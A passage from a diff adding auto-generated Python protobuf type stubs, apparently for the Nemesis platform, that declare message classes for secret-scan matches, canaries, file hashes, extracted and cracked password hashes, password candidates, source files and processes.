+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class Offset_span(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ START_FIELD_NUMBER: builtins.int
+ END_FIELD_NUMBER: builtins.int
+ start: builtins.int
+ end: builtins.int
+ def __init__(
+ self,
+ *,
+ start: builtins.int = ...,
+ end: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["end", b"end", "start", b"start"]) -> None: ...
+
+ @typing_extensions.final
+ class Start(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ LINE_FIELD_NUMBER: builtins.int
+ COLUMN_FIELD_NUMBER: builtins.int
+ line: builtins.int
+ column: builtins.int
+ def __init__(
+ self,
+ *,
+ line: builtins.int = ...,
+ column: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["column", b"column", "line", b"line"]) -> None: ...
+
+ @typing_extensions.final
+ class End(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ LINE_FIELD_NUMBER: builtins.int
+ COLUMN_FIELD_NUMBER: builtins.int
+ line: builtins.int
+ column: builtins.int
+ def __init__(
+ self,
+ *,
+ line: builtins.int = ...,
+ column: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["column", b"column", "line", b"line"]) -> None: ...
+
+ @typing_extensions.final
+ class Source_span(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ START_FIELD_NUMBER: builtins.int
+ END_FIELD_NUMBER: builtins.int
+ @property
+ def start(self) -> global___NoseyParker.Start: ...
+ @property
+ def end(self) -> global___NoseyParker.End: ...
+ def __init__(
+ self,
+ *,
+ start: global___NoseyParker.Start | None = ...,
+ end: global___NoseyParker.End | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["end", b"end", "start", b"start"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["end", b"end", "start", b"start"]) -> None: ...
+
+ @typing_extensions.final
+ class Location(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ OFFSET_SPAN_FIELD_NUMBER: builtins.int
+ SOURCE_SPAN_FIELD_NUMBER: builtins.int
+ @property
+ def offset_span(self) -> global___NoseyParker.Offset_span: ...
+ @property
+ def source_span(self) -> global___NoseyParker.Source_span: ...
+ def __init__(
+ self,
+ *,
+ offset_span: global___NoseyParker.Offset_span | None = ...,
+ source_span: global___NoseyParker.Source_span | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["offset_span", b"offset_span", "source_span", b"source_span"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["offset_span", b"offset_span", "source_span", b"source_span"]) -> None: ...
+
+ @typing_extensions.final
+ class Snippet(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ BEFORE_FIELD_NUMBER: builtins.int
+ MATCHING_FIELD_NUMBER: builtins.int
+ AFTER_FIELD_NUMBER: builtins.int
+ before: builtins.str
+ matching: builtins.str
+ after: builtins.str
+ def __init__(
+ self,
+ *,
+ before: builtins.str = ...,
+ matching: builtins.str = ...,
+ after: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["after", b"after", "before", b"before", "matching", b"matching"]) -> None: ...
+
+ @typing_extensions.final
+ class Provenance(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ KIND_FIELD_NUMBER: builtins.int
+ PATH_FIELD_NUMBER: builtins.int
+ kind: builtins.str
+ path: builtins.str
+ def __init__(
+ self,
+ *,
+ kind: builtins.str = ...,
+ path: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["kind", b"kind", "path", b"path"]) -> None: ...
+
+ @typing_extensions.final
+ class Matches(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ BLOB_ID_FIELD_NUMBER: builtins.int
+ LOCATION_FIELD_NUMBER: builtins.int
+ CAPTURE_GROUP_INDEX_FIELD_NUMBER: builtins.int
+ MATCH_CONTENT_FIELD_NUMBER: builtins.int
+ SNIPPET_FIELD_NUMBER: builtins.int
+ RULE_NAME_FIELD_NUMBER: builtins.int
+ PROVENANCE_FIELD_NUMBER: builtins.int
+ blob_id: builtins.str
+ @property
+ def location(self) -> global___NoseyParker.Location: ...
+ capture_group_index: builtins.int
+ match_content: builtins.str
+ @property
+ def snippet(self) -> global___NoseyParker.Snippet: ...
+ rule_name: builtins.str
+ @property
+ def provenance(self) -> global___NoseyParker.Provenance: ...
+ def __init__(
+ self,
+ *,
+ blob_id: builtins.str = ...,
+ location: global___NoseyParker.Location | None = ...,
+ capture_group_index: builtins.int = ...,
+ match_content: builtins.str = ...,
+ snippet: global___NoseyParker.Snippet | None = ...,
+ rule_name: builtins.str = ...,
+ provenance: global___NoseyParker.Provenance | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["location", b"location", "provenance", b"provenance", "snippet", b"snippet"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["blob_id", b"blob_id", "capture_group_index", b"capture_group_index", "location", b"location", "match_content", b"match_content", "provenance", b"provenance", "rule_name", b"rule_name", "snippet", b"snippet"]) -> None: ...
+
+ @typing_extensions.final
+ class RuleMatches(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ RULE_NAME_FIELD_NUMBER: builtins.int
+ MATCH_CONTENT_FIELD_NUMBER: builtins.int
+ NUM_MATCHES_FIELD_NUMBER: builtins.int
+ MATCHES_FIELD_NUMBER: builtins.int
+ rule_name: builtins.str
+ match_content: builtins.str
+ num_matches: builtins.int
+ @property
+ def matches(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___NoseyParker.Matches]: ...
+ def __init__(
+ self,
+ *,
+ rule_name: builtins.str = ...,
+ match_content: builtins.str = ...,
+ num_matches: builtins.int = ...,
+ matches: collections.abc.Iterable[global___NoseyParker.Matches] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["match_content", b"match_content", "matches", b"matches", "num_matches", b"num_matches", "rule_name", b"rule_name"]) -> None: ...
+
+ RULE_MATCHES_FIELD_NUMBER: builtins.int
+ HAS_MATCHES_FIELD_NUMBER: builtins.int
+ @property
+ def rule_matches(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___NoseyParker.RuleMatches]: ...
+ has_matches: builtins.bool
+ def __init__(
+ self,
+ *,
+ rule_matches: collections.abc.Iterable[global___NoseyParker.RuleMatches] | None = ...,
+ has_matches: builtins.bool = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["has_matches", b"has_matches", "rule_matches", b"rule_matches"]) -> None: ...
+
+global___NoseyParker = NoseyParker
+
+@typing_extensions.final
+class Canaries(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class Canary(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TYPE_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ type: builtins.str
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ def __init__(
+ self,
+ *,
+ type: builtins.str = ...,
+ data: collections.abc.Iterable[builtins.str] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "type", b"type"]) -> None: ...
+
+ CANARIES_PRESENT_FIELD_NUMBER: builtins.int
+ CANARIES_FIELD_NUMBER: builtins.int
+ canaries_present: builtins.bool
+ @property
+ def canaries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Canaries.Canary]: ...
+ def __init__(
+ self,
+ *,
+ canaries_present: builtins.bool = ...,
+ canaries: collections.abc.Iterable[global___Canaries.Canary] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["canaries", b"canaries", "canaries_present", b"canaries_present"]) -> None: ...
+
+global___Canaries = Canaries
+
+@typing_extensions.final
+class FileHashes(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ MD5_FIELD_NUMBER: builtins.int
+ SHA1_FIELD_NUMBER: builtins.int
+ SHA256_FIELD_NUMBER: builtins.int
+ md5: builtins.str
+ sha1: builtins.str
+ sha256: builtins.str
+ def __init__(
+ self,
+ *,
+ md5: builtins.str = ...,
+ sha1: builtins.str = ...,
+ sha256: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["md5", b"md5", "sha1", b"sha1", "sha256", b"sha256"]) -> None: ...
+
+global___FileHashes = FileHashes
+
+@typing_extensions.final
+class FileDataEnriched(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ OBJECT_ID_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_SUCCESS_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_FAILURE_FIELD_NUMBER: builtins.int
+ PATH_FIELD_NUMBER: builtins.int
+ SIZE_FIELD_NUMBER: builtins.int
+ NAME_FIELD_NUMBER: builtins.int
+ EXTENSION_FIELD_NUMBER: builtins.int
+ HASHES_FIELD_NUMBER: builtins.int
+ NEMESIS_FILE_TYPE_FIELD_NUMBER: builtins.int
+ MAGIC_TYPE_FIELD_NUMBER: builtins.int
+ IS_BINARY_FIELD_NUMBER: builtins.int
+ IS_SOURCE_CODE_FIELD_NUMBER: builtins.int
+ IS_OFFICE_DOC_FIELD_NUMBER: builtins.int
+ PARSED_DATA_FIELD_NUMBER: builtins.int
+ ANALYSIS_FIELD_NUMBER: builtins.int
+ CONVERTED_PDF_FIELD_NUMBER: builtins.int
+ EXTRACTED_PLAINTEXT_FIELD_NUMBER: builtins.int
+ EXTRACTED_SOURCE_FIELD_NUMBER: builtins.int
+ NOSEYPARKER_FIELD_NUMBER: builtins.int
+ YARA_MATCHES_FIELD_NUMBER: builtins.int
+ CANARIES_FIELD_NUMBER: builtins.int
+ CONTAINS_DPAPI_FIELD_NUMBER: builtins.int
+ DPAPI_BLOBS_FIELD_NUMBER: builtins.int
+ object_id: builtins.str
+ """the Nemesis UUID returned by the web-api/file endpoint, also the name the file is stored as in S3"""
+ originating_object_id: builtins.str
+ """If the file was extracted from another existing file in Nemesis (e.g., a zip or jar),
+ this optional field is the Nemesis UUID referencing the original file
+ """
+ @property
+ def enrichments_success(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran and succeeded"""
+ @property
+ def enrichments_failure(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran but failed"""
+ path: builtins.str
+ """The path must be in a UNC, file system, or mapped path format. File system and mapped paths must be
+ absolute and use forward slashes for separators (e.g. /).
+ """
+ size: builtins.int
+ """Size of the file, in bytes"""
+ name: builtins.str
+ """The base file name"""
+ extension: builtins.str
+ """The file extension"""
+ @property
+ def hashes(self) -> global___FileHashes:
+ """Various hashes for the file"""
+ nemesis_file_type: builtins.str
+ """The "Nemesis file type", i.e. any format defined in /cmd/file-processor/file_types/"""
+ magic_type: builtins.str
+ """The magic mime type returned from libmagic (a la the `file` command)"""
+ is_binary: builtins.bool
+ """True if the file is binary, False if it's text"""
+ is_source_code: builtins.bool
+ """True if the file is a supported source code file extension"""
+ is_office_doc: builtins.bool
+ """True if the file is an office form consumed by Tika for text extraction"""
+ @property
+ def parsed_data(self) -> global___ParsedData:
+ """any Nemesis-specific data parsed from the file"""
+ @property
+ def analysis(self) -> global___Analysis:
+ """any file analysis (e.g., dotnet analysis)"""
+ converted_pdf: builtins.str
+ """if the document was converted to a PDF, this is the Nemesis object_id/UUID referring to that file in S3"""
+ extracted_plaintext: builtins.str
+ """if the document had plaintext extracted, this is the Nemesis object_id/UUID referring to that file in S3"""
+ extracted_source: builtins.str
+ """if the binary had source code extracted (i.e., .NET decompilation), this is the Nemesis object_id/UUID referring to that file in S3"""
+ @property
+ def noseyparker(self) -> global___NoseyParker:
+ """any NoseyParker results if this file wasn't binary"""
+ @property
+ def yara_matches(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """any Yara rule matches"""
+ @property
+ def canaries(self) -> global___Canaries:
+ """possible document canaries"""
+ contains_dpapi: builtins.bool
+ """true if the file contains DPAPI data"""
+ @property
+ def dpapi_blobs(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """one or more object_id's that refer to DpapiBlob structures that were extracted from this file"""
+ def __init__(
+ self,
+ *,
+ object_id: builtins.str = ...,
+ originating_object_id: builtins.str = ...,
+ enrichments_success: collections.abc.Iterable[builtins.str] | None = ...,
+ enrichments_failure: collections.abc.Iterable[builtins.str] | None = ...,
+ path: builtins.str = ...,
+ size: builtins.int = ...,
+ name: builtins.str = ...,
+ extension: builtins.str = ...,
+ hashes: global___FileHashes | None = ...,
+ nemesis_file_type: builtins.str = ...,
+ magic_type: builtins.str = ...,
+ is_binary: builtins.bool = ...,
+ is_source_code: builtins.bool = ...,
+ is_office_doc: builtins.bool = ...,
+ parsed_data: global___ParsedData | None = ...,
+ analysis: global___Analysis | None = ...,
+ converted_pdf: builtins.str = ...,
+ extracted_plaintext: builtins.str | None = ...,
+ extracted_source: builtins.str = ...,
+ noseyparker: global___NoseyParker | None = ...,
+ yara_matches: collections.abc.Iterable[builtins.str] | None = ...,
+ canaries: global___Canaries | None = ...,
+ contains_dpapi: builtins.bool = ...,
+ dpapi_blobs: collections.abc.Iterable[builtins.str] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_extracted_plaintext", b"_extracted_plaintext", "analysis", b"analysis", "canaries", b"canaries", "extracted_plaintext", b"extracted_plaintext", "hashes", b"hashes", "noseyparker", b"noseyparker", "parsed_data", b"parsed_data"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_extracted_plaintext", b"_extracted_plaintext", "analysis", b"analysis", "canaries", b"canaries", "contains_dpapi", b"contains_dpapi", "converted_pdf", b"converted_pdf", "dpapi_blobs", b"dpapi_blobs", "enrichments_failure", b"enrichments_failure", "enrichments_success", b"enrichments_success", "extension", b"extension", "extracted_plaintext", b"extracted_plaintext", "extracted_source", b"extracted_source", "hashes", b"hashes", "is_binary", b"is_binary", "is_office_doc", b"is_office_doc", "is_source_code", b"is_source_code", "magic_type", b"magic_type", "name", b"name", "nemesis_file_type", b"nemesis_file_type", "noseyparker", b"noseyparker", "object_id", b"object_id", "originating_object_id", b"originating_object_id", "parsed_data", b"parsed_data", "path", b"path", "size", b"size", "yara_matches", b"yara_matches"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_extracted_plaintext", b"_extracted_plaintext"]) -> typing_extensions.Literal["extracted_plaintext"] | None: ...
+
+global___FileDataEnriched = FileDataEnriched
+
+@typing_extensions.final
+class FileDataEnrichedMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileDataEnriched]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___FileDataEnriched] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___FileDataEnrichedMessage = FileDataEnrichedMessage
+
+@typing_extensions.final
+class ExtractedHash(google.protobuf.message.Message):
+ """Hashes extracted from processed files"""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ HASH_TYPE_FIELD_NUMBER: builtins.int
+ HASH_VALUE_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ HASHCAT_FORMATTED_VALUE_FIELD_NUMBER: builtins.int
+ JTR_FORMATTED_VALUE_FIELD_NUMBER: builtins.int
+ IS_CRACKED_FIELD_NUMBER: builtins.int
+ JTR_POT_LINE_FIELD_NUMBER: builtins.int
+ CHECKED_AGAINST_TOP_PASSWORDS_FIELD_NUMBER: builtins.int
+ PLAINTEXT_VALUE_FIELD_NUMBER: builtins.int
+ IS_SUBMITTED_TO_CRACKER_FIELD_NUMBER: builtins.int
+ CRACKER_SUBMISSION_TIME_FIELD_NUMBER: builtins.int
+ CRACKER_CRACKED_TIME_FIELD_NUMBER: builtins.int
+ hash_type: builtins.str
+ """md5/sha1/etc."""
+ hash_value: builtins.str
+ """actual hash data"""
+ originating_object_id: builtins.str
+ """the Nemesis UUID referencing the original file the hash was extracted from"""
+ hashcat_formatted_value: builtins.str
+ """hash value formatted for Hashcat"""
+ jtr_formatted_value: builtins.str
+ """hash value formatted for JohnTheRipper"""
+ is_cracked: builtins.bool
+ """whether the hash has been cracked"""
+ jtr_pot_line: builtins.str
+ """if cracked, the jtr pot value"""
+ checked_against_top_passwords: builtins.bool
+ """whether the value was checked against the top X passwords with JTR"""
+ plaintext_value: builtins.str
+ """if cracked, the plaintext value"""
+ is_submitted_to_cracker: builtins.bool
+ """not yet used"""
+ @property
+ def cracker_submission_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """not yet used"""
+ @property
+ def cracker_cracked_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """not yet used"""
+ def __init__(
+ self,
+ *,
+ hash_type: builtins.str = ...,
+ hash_value: builtins.str = ...,
+ originating_object_id: builtins.str = ...,
+ hashcat_formatted_value: builtins.str = ...,
+ jtr_formatted_value: builtins.str = ...,
+ is_cracked: builtins.bool = ...,
+ jtr_pot_line: builtins.str = ...,
+ checked_against_top_passwords: builtins.bool = ...,
+ plaintext_value: builtins.str = ...,
+ is_submitted_to_cracker: builtins.bool = ...,
+ cracker_submission_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ cracker_cracked_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["cracker_cracked_time", b"cracker_cracked_time", "cracker_submission_time", b"cracker_submission_time"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["checked_against_top_passwords", b"checked_against_top_passwords", "cracker_cracked_time", b"cracker_cracked_time", "cracker_submission_time", b"cracker_submission_time", "hash_type", b"hash_type", "hash_value", b"hash_value", "hashcat_formatted_value", b"hashcat_formatted_value", "is_cracked", b"is_cracked", "is_submitted_to_cracker", b"is_submitted_to_cracker", "jtr_formatted_value", b"jtr_formatted_value", "jtr_pot_line", b"jtr_pot_line", "originating_object_id", b"originating_object_id", "plaintext_value", b"plaintext_value"]) -> None: ...
+
+global___ExtractedHash = ExtractedHash
+
+@typing_extensions.final
+class ExtractedHashMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ExtractedHash]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ExtractedHash] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ExtractedHashMessage = ExtractedHashMessage
+
+@typing_extensions.final
+class FileDataPlaintext(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class PasswordCandidate(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ LEFT_CONTEXT_FIELD_NUMBER: builtins.int
+ PASSWORD_FIELD_NUMBER: builtins.int
+ RIGHT_CONTEXT_FIELD_NUMBER: builtins.int
+ left_context: builtins.str
+ """"Candidate" password matches (from regex/ML models)"""
+ password: builtins.str
+ right_context: builtins.str
+ def __init__(
+ self,
+ *,
+ left_context: builtins.str = ...,
+ password: builtins.str = ...,
+ right_context: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["left_context", b"left_context", "password", b"password", "right_context", b"right_context"]) -> None: ...
+
+ OBJECT_ID_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_SUCCESS_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_FAILURE_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_CONVERTED_PDF_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_PATH_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_SIZE_FIELD_NUMBER: builtins.int
+ WORD_COUNT_FIELD_NUMBER: builtins.int
+ SUMMARY_FIELD_NUMBER: builtins.int
+ MODEL_PASSWORDS_FIELD_NUMBER: builtins.int
+ REGEX_PASSWORDS_FIELD_NUMBER: builtins.int
+ NOSEYPARKER_FIELD_NUMBER: builtins.int
+ object_id: builtins.str
+ """the Nemesis UUID referencing the plaintext file in S3"""
+ @property
+ def enrichments_success(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran and succeeded"""
+ @property
+ def enrichments_failure(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran but failed"""
+ originating_object_id: builtins.str
+ """the Nemesis UUID referencing the original file the plaintext was extracted from"""
+ originating_object_converted_pdf: builtins.str
+ """if the originating document was converted to a PDF, this is the Nemesis object_id/UUID referring to that file in S3"""
+ originating_object_path: builtins.str
+ """the path of the originating downloaded file/object, if it exists"""
+ originating_object_size: builtins.int
+ """the size (in bytes) of the originating file/object, if it exists"""
+ word_count: builtins.int
+ """number of individual tokens"""
+ summary: builtins.str
+ """short summary of the text"""
+ @property
+ def model_passwords(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileDataPlaintext.PasswordCandidate]:
+ """any extracted model password candidates"""
+ @property
+ def regex_passwords(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileDataPlaintext.PasswordCandidate]:
+ """any extracted regex password candidates"""
+ @property
+ def noseyparker(self) -> global___NoseyParker:
+ """any NoseyParker results (including hashes) for the plaintext"""
+ def __init__(
+ self,
+ *,
+ object_id: builtins.str = ...,
+ enrichments_success: collections.abc.Iterable[builtins.str] | None = ...,
+ enrichments_failure: collections.abc.Iterable[builtins.str] | None = ...,
+ originating_object_id: builtins.str = ...,
+ originating_object_converted_pdf: builtins.str = ...,
+ originating_object_path: builtins.str = ...,
+ originating_object_size: builtins.int = ...,
+ word_count: builtins.int = ...,
+ summary: builtins.str = ...,
+ model_passwords: collections.abc.Iterable[global___FileDataPlaintext.PasswordCandidate] | None = ...,
+ regex_passwords: collections.abc.Iterable[global___FileDataPlaintext.PasswordCandidate] | None = ...,
+ noseyparker: global___NoseyParker | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["noseyparker", b"noseyparker"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["enrichments_failure", b"enrichments_failure", "enrichments_success", b"enrichments_success", "model_passwords", b"model_passwords", "noseyparker", b"noseyparker", "object_id", b"object_id", "originating_object_converted_pdf", b"originating_object_converted_pdf", "originating_object_id", b"originating_object_id", "originating_object_path", b"originating_object_path", "originating_object_size", b"originating_object_size", "regex_passwords", b"regex_passwords", "summary", b"summary", "word_count", b"word_count"]) -> None: ...
+
+global___FileDataPlaintext = FileDataPlaintext
+
+@typing_extensions.final
+class FileDataPlaintextMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileDataPlaintext]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___FileDataPlaintext] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___FileDataPlaintextMessage = FileDataPlaintextMessage
+
+@typing_extensions.final
+class FileDataSourcecode(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ OBJECT_ID_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ PATH_FIELD_NUMBER: builtins.int
+ NAME_FIELD_NUMBER: builtins.int
+ EXTENSION_FIELD_NUMBER: builtins.int
+ LANGUAGE_FIELD_NUMBER: builtins.int
+ SIZE_FIELD_NUMBER: builtins.int
+ object_id: builtins.str
+ """the Nemesis UUID referencing the source code file in S3"""
+ originating_object_id: builtins.str
+ """If the file was extracted from another existing file in Nemesis (e.g., a zip or jar),
+ this optional field is the Nemesis UUID referencing the original file
+ """
+ path: builtins.str
+ """The path must be in a UNC, file system, or mapped path format. File system and mapped paths must be
+ absolute and use forward slashes for separators (e.g. /).
+ """
+ name: builtins.str
+ """The base file name"""
+ extension: builtins.str
+ """The file extension"""
+ language: builtins.str
+ """Language for the source code file"""
+ size: builtins.int
+ """Size of the file, in bytes"""
+ def __init__(
+ self,
+ *,
+ object_id: builtins.str = ...,
+ originating_object_id: builtins.str = ...,
+ path: builtins.str = ...,
+ name: builtins.str = ...,
+ extension: builtins.str = ...,
+ language: builtins.str = ...,
+ size: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["extension", b"extension", "language", b"language", "name", b"name", "object_id", b"object_id", "originating_object_id", b"originating_object_id", "path", b"path", "size", b"size"]) -> None: ...
+
+global___FileDataSourcecode = FileDataSourcecode
+
+@typing_extensions.final
+class FileDataSourcecodeMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileDataSourcecode]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___FileDataSourcecode] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___FileDataSourcecodeMessage = FileDataSourcecodeMessage
+
+@typing_extensions.final
+class Process(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ COMMAND_LINE_FIELD_NUMBER: builtins.int
+ FILE_NAME_FIELD_NUMBER: builtins.int
+ PROCESS_ID_FIELD_NUMBER: builtins.int
+ PARENT_PROCESS_ID_FIELD_NUMBER: builtins.int
+ ARCH_FIELD_NUMBER: builtins.int
+ START_TIME_FIELD_NUMBER: builtins.int
+ MEMORY_FIELD_NUMBER: builtins.int
+ TOKEN_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ """The name of the process"""
+ command_line: builtins.str
+ """The current command line information"""
+ file_name: builtins.str
+ """If known, the file that was executed"""
+ process_id: builtins.int
+ """Process id"""
+ parent_process_id: builtins.int
+ """Parent process id"""
+ arch: builtins.str
+ """Architecture of the process"""
+ @property
+ def start_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """When the process was started"""
+ memory: builtins.int
+ """The amount of memory used by the process, in bytes"""
+ @property
+ def token(self) -> global___Token:
+ """If present, Windows token information"""
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ command_line: builtins.str = ...,
+ file_name: builtins.str = ...,
+ process_id: builtins.int = ...,
+ parent_process_id: builtins.int = ...,
+ arch: builtins.str = ...,
+ start_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ memory: builtins.int = ...,
+ token: global___Token | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["start_time", b"start_time", "token", b"token"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["arch", b"arch", "command_line", b"command_line", "file_name", b"file_name", "memory", b"memory", "name", b"name", "parent_process_id", b"parent_process_id", "process_id", b"process_id", "start_time", b"start_time", "token", b"token"]) -> None: ...
+
+global___Process = Process
+
+@typing_extensions.final
+class ProcessMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
